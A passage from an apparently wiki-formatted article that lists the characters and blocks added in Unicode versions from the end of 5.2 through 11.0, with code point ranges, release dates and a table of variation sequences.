* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B55-U+2B59)
* Capital letter turned alpha and additions for Shona (total 3 characters) were added to '''Latin Extended-C'''. (U+2C70 to U+2C7E-U+2C7F)
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''. (U+2CEB-U+2CF1)
* Word separator middle dot (⸱) (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E31)
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3244-U+324F)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FC4-U+9FCB)
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA6B-U+FA6D)
* Number two and three (total 2 characters) were added to '''Phoenician'''. (U+1091A-U+1091B)

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''' (U+0840-U+085F), containing 29 letters for Mandaic script, was added.
* '''Batak''' (U+1BC0-U+1BFF), containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''' (U+AB00-U+AB2F), containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiopic syllables, was added.
* '''Brahmi''' (U+11000-U+1107F), containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''' (U+16800-U+16A3F), containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''' (U+1B000-U+1B0FF), containing 2 characters for archaic katakana, was added.
* '''Playing Cards''' (U+1F0A0-U+1F0FF), containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''' (U+1F300-U+1F5FF), containing 529 additional symbols, was added.
* '''Emoticons''' (U+1F600-U+1F64F), containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''' (U+1F680-U+1F6FF), containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''' (U+1F700-U+1F77F), containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''' (U+2B740-U+2B81F), containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0526-U+0527)
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''. (U+0620 and U+065F)
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''. (U+093A-U+093B, U+094F, U+0956-U+0957 and U+0973-U+0977)
* Fraction signs (total 6 characters) were added to '''Oriya'''. (U+0B72-U+0B77)
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''. (U+0D29, U+0D3A and U+0D4E)
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''. (U+0F8C-U+0F8F, U+0FD9-U+0FDA)
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''. (U+135D-U+135E)
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFC)
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''. (U+2095-U+209C)
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''. (U+20B9)
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23E9-U+23F3)
* Ophiuchus, astronomical symbol for Uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''. (U+26CE, U+26E2 and U+26E4-U+26E7)
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''. (U+2705, U+270A-U+270B, U+2728, U+274C, U+274E, U+2753-U+2755, U+275F-U+2760, U+2795-U+2797, U+27B0 and U+27BF)
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CE-U+27CF)
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''. (U+2D70 and U+2D7F)
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''. (U+31B8-U+31BA)
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''. (U+A660-U+A661)
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''. (U+A78D-U+A78E, U+A790-U+A791, U+A7A0-U+A7A9 and U+A7FA)
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBB2-U+FBC1)
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F130, U+1F132-U+1F13C, U+1F13E, U+1F140-U+1F141, U+1F143-U+1F145, U+1F147-U+1F149, U+1F14F, U+1F150-U+1F156, U+1F158-U+1F15E, U+1F160-U+1F169, U+1F170-U+1F178, U+1F17A, U+1F17D-U+1F17E, U+1F180-U+1F189, U+1F18E-U+1F18F, U+1F191-U+1F19A and U+1F1E6-U+1F1FF)
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F201-U+1F202, U+1F232-U+1F23A and U+1F250-U+1F251)

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
